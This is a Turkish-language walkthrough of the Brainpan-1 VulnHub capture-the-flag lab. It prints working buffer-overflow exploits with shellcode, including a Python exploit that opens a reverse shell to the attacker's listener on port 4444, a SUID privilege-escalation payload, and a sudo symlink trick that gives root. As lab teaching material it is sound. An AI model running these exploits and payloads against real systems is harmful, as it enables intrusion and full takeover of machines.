Merhaba
VulHub’da yayınlanan CTF serilerinden birisi olan Brain-1’in çözümlerinin anlatıldığı yazıya hoş geldiniz. İlgili CTF imajını https://www.vulnhub.com/entry/brainpan-1,51/ adresinden indirebilirsiniz. Size tavsiyem yazının kalan kısımlarını okumadan önce imajı indirip kendi bilgilerinizi sınamanızdır. İlerleyen günlerde Brain-2 ve Brain-3 bölümlerini ele alacağız.
Her şeyin başı Nmap
Kali ve Brain sanal sunucularını aynı NAT networküne aldıktan sonra her zaman gib gibi -sn parametresi ile live host’ları tespit ediyoruz.
root@kali:~# nmap -sn 10.0.0.1/24|grep 'report'|awk {'print $5'} 10.0.0.1 10.0.0.2 10.0.0.140 10.0.0.254 10.0.0.138
Görüldüğü üzer 10.0.0.140 hedef makinamız olan Brain’in ip adresidir. 10.0.0.138 ile Kali 2.0’ımıza ait. Hızlıca top 1000 port’u taradığımızda aşağıdak sonuç çıkmakta.
root@kali:~# nmap -sS 10.0.0.140 --top-port 1000 Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-08-17 11:32 EEST Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 0.50% done Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 1.00% done; ETC: 11:34 (0:01:39 remaining) Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 100.00% done; ETC: 11:32 (0:00:00 remaining) Nmap scan report for 10.0.0.140 Host is up (0.00018s latency). Not shown: 998 closed ports PORT STATE SERVICE 9999/tcp open abyss 10000/tcp open snet-sensor-mgmt MAC Address: 00:0C:29:27:7C:82 (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.01 seconds
Simple Fuzzing
9999 portuna netcat ile bağlanıldığında aşağıdaki gibi bir çıktı karşımıza gelmekte.
root@kali:~# nc 10.0.0.140 9999 _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| [________________________ WELCOME TO BRAINPAN _________________________] ENTER THE PASSWORD >> hi ACCESS DENIED
Girdi olarak hi kelimesini yolladığımda ise ACCESS DENIED kelimesinin geri dönüş yaptığını görmekteyiz. Bu andan itibaren ilk akla gelen fikir, basit bir Buffer Overflow zafiyetinin olabileceğidir. Bunu anlamak adına aşağıdaki gibi basit bir fuzzer yazarak çalıştırabiliriz.
import socket crash = False c = 1 while crash == False: try: client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect(('10.0.0.140', 9999)) c += 1 except Exception as e: print "Total attempt = {0}".format(c) print str(e) exit(0) data = client_socket.recv(1024) client_socket.send("A"*c) data = client_socket.recv(1024) if "DENIED" in data: print "Number of input lenght = {0}".format(c) client_socket.close()
Fuzzing işlemi tamamlandığında aşağıdaki gibi bir çıktı bizi karşılamakta.
root@kali:~/Desktop# python brain.py Number of input lenght = 2 Number of input lenght = 3 ... ... Number of input lenght = 518 Number of input lenght = 519 Total attempt = 520 [Errno 111] Connection refused
Gördüğünüz üzere 519 adet karakter gönderdikten sonra bir şeyler ters gitmekte ve servis crash olmakta. Bir süre bekledikten sonra servis tekrardan çalışacak şekilde bir cron job tanımladığını söyleyebiliriz.
Hedef’te buffer overflow zafiyetinin varlığı, offset değerinin hesaplanması vb gibi aşamalar kolay kısım ama hedef programa ve işletim sistemine özel RET adresini, JMP instructer’larının adresini bilebilmemiz çok zor. Bu nedenle başka bir bilgiye daha ihtiyacımızın olduğu aşikar. Bunun için Nmap çıktısına dönerek 10.000 TCP portuna bakıyoruz.
root@kali:~# curl -v -X GET http://10.0.0.140:10000 * Rebuilt URL to: http://10.0.0.140:10000/ * Hostname was NOT found in DNS cache * Trying 10.0.0.140... * Connected to 10.0.0.140 (10.0.0.140) port 10000 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.38.0 > Host: 10.0.0.140:10000 > Accept: */* > * HTTP 1.0, assume close after body < HTTP/1.0 200 OK < Server: SimpleHTTP/0.6 Python/2.7.3 < Date: Mon, 17 Aug 2015 09:11:18 GMT < Content-type: text/html < Content-Length: 215 < Last-Modified: Mon, 04 Mar 2013 17:35:55 GMT <
10.000 portunda Python SimpleHTTPServer’ın çalıştığını görebiliriz. Burada yapacağınız ufak bir dirbuster hareketi ile doğrudan /bin/ dini altında ki http://10.0.0.140:10000/bin/brainpan.exe dosyasının varlığını bulabilirsiniz.
Harika, şimdi her şey tamam oldu. Bu .exe dosyasını analiz edeceğiz. Hedef sistemde ASLR, DEP vb gibi koruma mekanizmalarının devre dışı olduğunu düşünerek .exe içerisinden doğrudan işe yarar bir adres bulmayı umuyoruz.
Reverse 101
İndirdiğimiz EXE’yi Windows makinada açtıktan sonra Ollydbg yada Immunity Debugger araçları ile analiz etmeye başlıyoruz. Önce işin kolay kısmı, “Offset değeri tam olarak kaç ?” sorusuna cevap vermek üzere metasploit pattern_create’i kullanıyoruz.
➜ metasploit-framework git:(master) ✗ ./tools/pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Bu çıktıyı basit bir netcat komutu ile hedef yönlendirdikten sonra offset değerini hesaplamak adına pattern_create komutunu kullanabiliriz. Debugger’dan aldığımız bilgiye göre EIP 35724134 değerindeydi.
➜ metasploit-framework git:(master) ✗ ./tools/pattern_create.rb 1000 | nc 10.0.0.128 9999 ➜ metasploit-framework git:(master) ✗ ./tools/pattern_offset.rb 35724134 [*] Exact match at offset 524
Şimdi sıra ikinci suale geldi, “Acaba binary içerisinde JMP ESP komutu var mı ?” eğer doğrudan binary içerisinde bunu görebilirsek bizim için harika ve son derece basit bir exploitation olacak. Bu soruya cevap vermek için tek bir komut yeterli.
root@kali:~# objdump Downloads/brainpan.exe -d|grep -i jmp|grep esp 311712f3: ff e4 jmp *%esp
Harika..! 311712f3 adresini 524 karakter sonra tersten yazarak çok basit bir stack overflow zafiyetini exploit etmiş olacağız.
Shellcode
Shellcode için basit bir reverse_shell oluşturabiliriz. Bunun için msfvenom’u aşağıdaki şekilde kullanabilirsiniz.
root@kali:~/Desktop# msfvenom -p linux/x86/shell_reverse_tcp lhost=10.0.0.138 -b '\x00' -f python No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes buf = "" buf += "\xb8\x05\x12\x6b\x18\xdd\xc2\xd9\x74\x24\xf4\x5d\x2b" buf += "\xc9\xb1\x12\x83\xc5\x04\x31\x45\x0e\x03\x40\x1c\x89" buf += "\xed\x7b\xfb\xba\xed\x28\xb8\x17\x98\xcc\xb7\x79\xec" buf += "\xb6\x0a\xf9\x9e\x6f\x25\xc5\x6d\x0f\x0c\x43\x97\x67" buf += "\x85\xb3\x67\xfd\xf1\xb1\x67\x10\x5e\x3f\x86\xa2\x38" buf += "\x6f\x18\x91\x77\x8c\x13\xf4\xb5\x13\x71\x9e\x6a\x3b" buf += "\x05\x36\x1d\x6c\x8b\xaf\xb3\xfb\xa8\x7d\x1f\x75\xcf" buf += "\x31\x94\x48\x90"
Böylece doğrudan python kodu olarak shellcode üretmiş oluyoruz. \x00 karakterini blacklist’e alarak herhangi bir NULL BYTE karakter yüzünden shellcode’umuzun çalışmasının durdurulmasına engel oluyoruz.
Exploit ve Ters Bağlantı
Ve son olarak exploit saldırımız ve reverse_shell üzerinden CTF’i tamamlayımışız şu şekilde olacaktır.
import socket client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect(('10.0.0.140', 9999)) buf = "\x90"*524 buf += "\xF3\x12\x17\x31" buf += "\x90"*10 buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a" buf += "\x00\x00\x8a\x68\x02\x00\x00\x15\x89\xe1\xb0\x66\x50" buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73" buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0" buf += "\x0b\xcd\x80" client_socket.send(buf) client_socket.close()
Yukarıda ki exploit 10.0.0.138 ip adresinin 4444 portuna bağlantı açacaktır. Bu bağlantı üzerinden hedef sisteme erişim gerçekleştirmiş olacağız.
root@kali:~# nc -lvp 4444 listening on [any] 4444 ... 10.0.0.140: inverse host lookup failed: Unknown host connect to [10.0.0.138] from (UNKNOWN) [10.0.0.140] 34636 ls checksrv.sh web python -c 'import pty; pty.spawn("/bin/bash")' puck@brainpan:/home/puck$
İlgili python komutu ile direk pty interactive shell’e geçiş yapabilirsiniz.
Post Exploitation
Kendi prensiplerim olarak hedef sisteme erişim sağladıktan sonra aşağıda ki adımlara tek tek kontrol ederek daha fazla bilgi elde etmeye çalışırım.
- Diğer kullanıcıların listesini oluştur
- Erişim yetkin olan dizinler altında chown’u senin kullanıcına ait olan dosyaları bul
- bash_history dosyasına göz at
Bu bağlamda yaptığım araştırmalar gösterdi ki hedefte sahipliği bizim user’ımıza ait OLMAYAN aşağıdaki binary dosya bulunmaktaydı.
ls -al /usr/local/sbin total 8 drwxr-xr-x 2 root root 4096 Mar 4 2013 . drwxr-xr-x 10 root root 4096 Mar 4 2013 .. ls -al /usr/local/bin total 20 drwxr-xr-x 2 root root 4096 Mar 4 2013 . drwxr-xr-x 10 root root 4096 Mar 4 2013 .. -rwsr-xr-x 1 anansi anansi 8761 Mar 4 2013 validate
Bu executable dosyanın adı validate ve ne iş yaptığına dair hiçbir fikrimiz yok. Fark ettiğimiz tek şey ise ls -al çıktısında bulunan rwsr yetkileri. Bu sticky bit adı verilen özel bir permission bit’idir ve bizim çok işimize yarayacaktır. Çünkü anansi kullanıcısına ait bir binary’de bulacağımız zafiyeti exploit ederek sistemde ki bir başka kullanıcı yetkilerine geçiş yapabiliriz.
Validate dosyası üzerinde basit bir test gerçekleştirdiğimizde aşağıdaki şekilde segmentation fault almaktayız.
validate 1 validating input...passed. validate 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 Segmentation fault
Bu binary dosyayı ister nc ile isterseniz doğrudan web/bin altına kopyalıyarak Kali makinamıza indiriyoruz. Eğer Kali’niz benim gibi x64 bit ise indirdiğiniz binary dosya çalışmayacaktır. Bu problemi çözmek için şu komutları kullanabilirsiniz.
sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 sudo ./file-name
Reversing Validate
Hedef sunucu üzerinde yaptığımız basit test ile segfault hatası aldığımız için gene basit bir stack based buffer overflow zafiyeti beklemekteyiz. Öncelikle offset’i hesaplayalım. Bu sefer Ollydbg yerine gdb kullanacağız.
root@kali:~/Desktop# gdb -q validate.bin Reading symbols from validate.bin...done. (gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq Starting program: /root/Desktop/validate.bin Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq Program received signal SIGSEGV, Segmentation fault. 0x39644138 in ?? () (gdb) i r eax 0xffffd1a8 -11864 ecx 0xffffd660 -10656 edx 0xffffd391 -11375 ebx 0x41366441 1094083649 esp 0xffffd220 0xffffd220 ebp 0x64413764 0x64413764 esi 0x0 0 edi 0x0 0 eip 0x39644138 0x39644138 eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb)
Gene pattern_create ile oluşturduğumuz input’u vererek crash aldığımızda EIP’in 0x39644138 değeri aldığı gözlemlenmektedir. Bu değer üzerinden offset’i hesapladığımızda ise 116 çıkmaktadır.
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 39644138 [*] Exact match at offset 116
Her şey hazır. Şimdi sıra JMP ESP komutunu bulmakta… Şanslıysak
root@kali:~# objdump -D Desktop/validate.bin |grep -i jmp 8048382: ff 25 fc 9f 04 08 jmp *0x8049ffc 804838c: ff 25 00 a0 04 08 jmp *0x804a000 8048397: e9 e0 ff ff ff jmp 804837c <_init+0x30> 804839c: ff 25 04 a0 04 08 jmp *0x804a004 80483a7: e9 d0 ff ff ff jmp 804837c <_init+0x30> 80483ac: ff 25 08 a0 04 08 jmp *0x804a008 80483b7: e9 c0 ff ff ff jmp 804837c <_init+0x30> 80483bc: ff 25 0c a0 04 08 jmp *0x804a00c 80483c7: e9 b0 ff ff ff jmp 804837c <_init+0x30> 80483cc: ff 25 10 a0 04 08 jmp *0x804a010 80483d7: e9 a0 ff ff ff jmp 804837c <_init+0x30> 80483dc: ff 25 14 a0 04 08 jmp *0x804a014 80483e7: e9 90 ff ff ff jmp 804837c <_init+0x30> 80483ec: ff 25 18 a0 04 08 jmp *0x804a018 80483f7: e9 80 ff ff ff jmp 804837c <_init+0x30> 80484cc: eb 3a jmp 8048508 <validate+0x54> 8048562: eb 39 jmp 804859d <main+0x65> 8049f42: ff 6f c4 ljmp *-0x3c(%edi) 8049faa: ff 6f ec ljmp *-0x14(%edi) 8049fb2: ff 6f 01 ljmp *0x1(%edi) 8049fba: ff 6f d8 ljmp *-0x28(%edi) 14: eb 00 jmp 16 <_init-0x8048336> 48: eb 00 jmp 4a <_init-0x8048302>
Görüldüğü üzere JMP ESP komutunun olduğu herhangi bir instruction malesef yok..! Stack üzerine veri yazabiliyoruz, EIP’i kontrol edebiliyoruz ama JMP ESP veya herhangi bir CPU register’ını parametre olarak kullanan JMP komutu yok..!
Stack üzerinde analiz yapmaya devam etmek için gdb aşağıdaki komutlar ile analiz ediyoruz. EIP öncesi 116 karakterimiz A, EIP için B yazdıktan sonra dönüp kalan diğer cpu registerlarını ve stack’in durumunu kontrol edeceğiz.
root@kali:~/Desktop# gdb -q validate.bin Reading symbols from validate.bin...done. (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Starting program: /root/Desktop/validate.bin AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/100x $sp-200 0xffffd2d8: 0xf7e136c8 0xf7fd9860 0x08048204 0x00000078 0xffffd2e8: 0x00000000 0x00000000 0xffffd398 0xf7ff1020 0xffffd2f8: 0x0000000b 0xf7e97c60 0xffffd328 0x00000078 0xffffd308: 0x00000000 0x0804852c 0xffffd328 0xffffd5f3 0xffffd318: 0xf7ffd930 0x00000001 0xffffd380 0xf7feac9f 0xffffd328: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd338: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd348: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd358: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd368: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd378: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd388: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd398: 0x41414141 0x42424242 0xffffd500 0x08048400 0xffffd3a8: 0x00000000 0xf7e3e39d 0xf7fb33c4 0xf7ffd000 0xffffd3b8: 0x080485bb 0xf7fb3000 0x080485b0 0x00000000 0xffffd3c8: 0x00000000 0xf7e26a63 0x00000002 0xffffd464 0xffffd3d8: 0xffffd470 0xf7feb7da 0x00000002 0xffffd464 0xffffd3e8: 0xffffd404 0x0804a004 0x08048274 0xf7fb3000 0xffffd3f8: 0x00000000 0x00000000 0x00000000 0xa5bae334 0xffffd408: 0x9ec90724 0x00000000 0x00000000 0x00000000 0xffffd418: 0x00000002 0x08048400 0x00000000 0xf7ff1020 0xffffd428: 0xf7e26979 0xf7ffd000 0x00000002 0x08048400 0xffffd438: 0x00000000 0x08048421 0x08048538 0x00000002 0xffffd448: 0xffffd464 0x080485b0 0x080485a0 0xf7febc90 0xffffd458: 0xffffd45c 0x0000001c 0x00000002 0xffffd5d8
0x41414141 değerlerimiz tam olarak 0xffffd328 adresinden başlıyor…Register’ların durumuna baktığımızda ise karşımıza çok ilginç bir şey çıkacak.
(gdb) i r eax 0xffffd328 -11480 ecx 0xffffd660 -10656 edx 0xffffd395 -11371 ebx 0x41414141 1094795585 esp 0xffffd3a0 0xffffd3a0 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x42424242 0x42424242 eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
EAX registerı’nın deperi 0x414141’lerimizin başladığı adresin ta kendisini göstermekte. JMP ESP olarak bulamadığımız komut yerine CALL EAX bulabilirsek bu durumda EIP’i kontrol ettiğimiz BBBB yerine CALL EAX’ın adresini yazarız. Oda doğrudan shellcode’umuzun başlayacağı adrese zıplamış olur.
root@kali:~# objdump -D Desktop/validate.bin |grep -i call|grep eax 8048468: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4) 80484af: ff d0 call *%eax 804862b: ff d0 call *%eax
Harika..! Her şey hazır. Şimdi sıra 116 karakterden kısa /bin/sh çalıştıran bir shellcode yaratmakta..!
Shellcode -> Exploit -> Anansi User
Bir kez daha msfvenom kullanıyoruz ve shellcode’umuzu hazırlayabiliriz. 116 byte her ne kadar yetip artacak olsada ben genede minimal bir shellcode seçmeyi uygun görüyorum ve 28 byte uzunluğunda ki http://shell-storm.org/shellcode/files/shellcode-811.php shellcode örneğini kullanıyorum.
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
Fark ettiğiniz üzere shellcode’umuz 28 byte uzunluğunda. 116 – 28 = 88 byte doldurmamız gereken alan sonra EIP’e gelmiş olacağız. EIP adresini de call eax’lardan bir tanesi ile ( ben 80484af kullanacağım ) ezeceğiz ve shellcode’umuza erişmiş olacağız.
puck@brainpan:/home/puck$ id id uid=1002(puck) gid=1002(puck) groups=1002(puck) puck@brainpan:/home/puck$ puck@brainpan:/home/puck$ validate `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + ("\x41" * 88) + "\xaf\x84\x04\x08"'` <xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + ("\x41" * 88) + "\xaf\x84\x04\x08"'` $ $ id id uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck) $
Gördüğünüz üzere puck user’ından anansi user’ına geçişi tamamlamış olduk. Şimdi sıra geldi son aşamaya.
Anansi_utils
sudo -l komutu ile NOPASSWD ile erişilebilir linux komutlarını görüyoruz.
$ sudo -l sudo -l Matching Defaults entries for puck on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User puck may run the following commands on this host: (root) NOPASSWD: /home/anansi/bin/anansi_util
Bu bizim için son derece kolay bir exploitation yöntemi olacak. Çünkü görünen o ki /home/anansi/bin/anansi_util ‘yi herkes root hakları ile çalıştırabilmekte. Ufak bir symlink ile doğrudan root haklarına kalıcı olarka geçiş yapabiliriz.
$ mv anansi_util anansi_util.yedek mv anansi_util anansi_util.yedek $ ln -s /bin/bash anansi_util ln -s /bin/bash anansi_util $ sudo /home/anansi/bin/anansi_util $ $ id uid=0(root) gid=0(root) groups=0(root) $ ls /root b.txt $ cat /root/b.txt _| _| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| _| _| _|_| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _| _| _| http://www.techorganic.com